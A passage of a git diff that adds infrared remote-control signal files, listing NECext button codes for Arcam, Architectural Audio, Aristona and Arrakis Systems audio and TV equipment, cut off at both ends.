parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir new file mode 100644 index 000000000..c38b4a771 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: SAT_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: SAT_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: TUNER_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: TUNER_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: DVD_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: DVD_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: TAPE_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: TAPE_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: VCR_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: VCR_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: CD_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: CD_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: AUX_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: AUX_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: POWER_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_-_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_-_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir new file mode 100644 index 000000000..2f170dcf7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_+_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: TUNER_+_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: TUNER_-_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: TUNER_-_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir new file mode 100644 index 000000000..c44e20dce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: PRESET_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: PRESET_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: PRESET_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: PRESET_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: PRESET/TUNE_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRESET/TUNE_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: PRESET/TUNE_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: PRESET_10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6E 00 00 00 +# +name: PRESET_11 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6F 00 00 00 +# +name: PRESET_12 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 70 00 00 00 +# +name: PRESET_13 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 71 00 00 00 +# +name: PRESET_14 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 72 00 00 00 +# +name: PRESET_15 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 73 00 00 00 +# +name: PRESET_16 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 74 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir new file mode 100644 index 000000000..4ba60824d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: silent +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: trim +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 +# +name: am +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 34 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 35 00 00 00 +# +name: t-mode +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 36 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 37 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 +# +name: dyn +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: test +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir new file mode 100644 index 000000000..53ffa6133 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: trim +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: am +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 34 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 35 00 00 00 +# +name: tmode +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 36 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 37 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 +# +name: dyn +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir b/assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir new file mode 100644 index 000000000..8c20da129 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 05 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 0D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 1C 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir b/assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir new file mode 100644 index 000000000..23dc90ef7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_- +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 01 00 00 00 +# +name: TUNER_+ +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 02 00 00 00 +# +name: SOURCE_4 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 04 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 05 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 06 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 07 00 00 00 +# +name: SOURCE_3 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 09 00 00 00 +# +name: SOURCE_2 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 0A 00 00 00 +# +name: SOURCE_1 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 0B 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 0C 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 0D 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 0E 00 00 00 +# +name: PRESET_7 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 0F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 11 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 12 00 00 00 +# +name: MUTE-TOGGLE +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 13 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 14 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 15 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 16 00 00 00 +# +name: PRESET_8 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 17 00 00 00 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 19 00 00 00 +# +name: ZONE_OFF +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 1A 00 00 00 +# +name: MUTE-OFF +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 1B 00 00 00 +# +name: MUTE-ON +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 1C 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 1D 00 00 00 +# +name: PRESET_6 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 1E 00 00 00 +# +name: PRESET_9 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 1F 00 00 00 +# +name: PRESET_10 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: 60 00 00 00 +# +name: PRESET_11 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: A0 00 00 00 +# +name: PRESET_12 +type: parsed +protocol: NECext +address: 82 82 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir new file mode 100644 index 000000000..fc6fbf607 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: TEXT_FWD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: TEXT_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: BRIGHTNESS_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: BRIGHTNESS_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: COLOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: COLOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: TEXT_SAVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: TEXT_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: TEXT_HOLD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: TEXT_LARGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: TEXT_? +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: TEXT_NONE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: TEXT_HALF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: ext +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir new file mode 100644 index 000000000..10a4cc85e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir @@ -0,0 +1,410 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: x/0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: x/1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: x/2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: x/3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: x/4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: x/5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: x/6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: x/7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: x/8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: x/9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: x/power +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: x/mute +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: pp +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: x/pp +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: x/osd +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: x/volume+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: x/volume- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: x/channel+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: x/channel- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: text_hold +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: x/text_hold +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: text_time +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: x/text_time +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: text_enlarge +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: x/text_enlarge +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: text_solve +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: x/text_solve +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: text_suspend +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: x/text_suspend +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: text_overlay +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: x/text_overlay +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: x/green +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: x/yellow +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: x/text_info +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: x/blue +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: x/red +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: x/text +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: x/plus +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4D 00 00 00 +# +name: min +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: x/min +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: x/menu +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 52 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: text_info +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: commit +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7A 00 00 00 +# +name: x/commit +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir new file mode 100644 index 000000000..9bca8227a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 4 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 02 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 03 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 06 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 07 00 00 00 +# +name: CD# +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0B 00 00 00 +# +name: DISC- +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0D 00 00 00 +# +name: TR# +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0E 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0F 00 00 00 +# +name: 1CD +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 10 00 00 00 +# +name: DISC+ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 11 00 00 00 +# +name: TR- +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 12 00 00 00 +# +name: TR+ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 13 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 14 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 15 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 16 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 17 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 18 00 00 00 +# +name: ALLCD +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 19 00 00 00 +# +name: SEQL +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1B 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1C 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1D 00 00 00 +# +name: NUMBER +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1E 00 00 00 +# +name: LEFT +type: 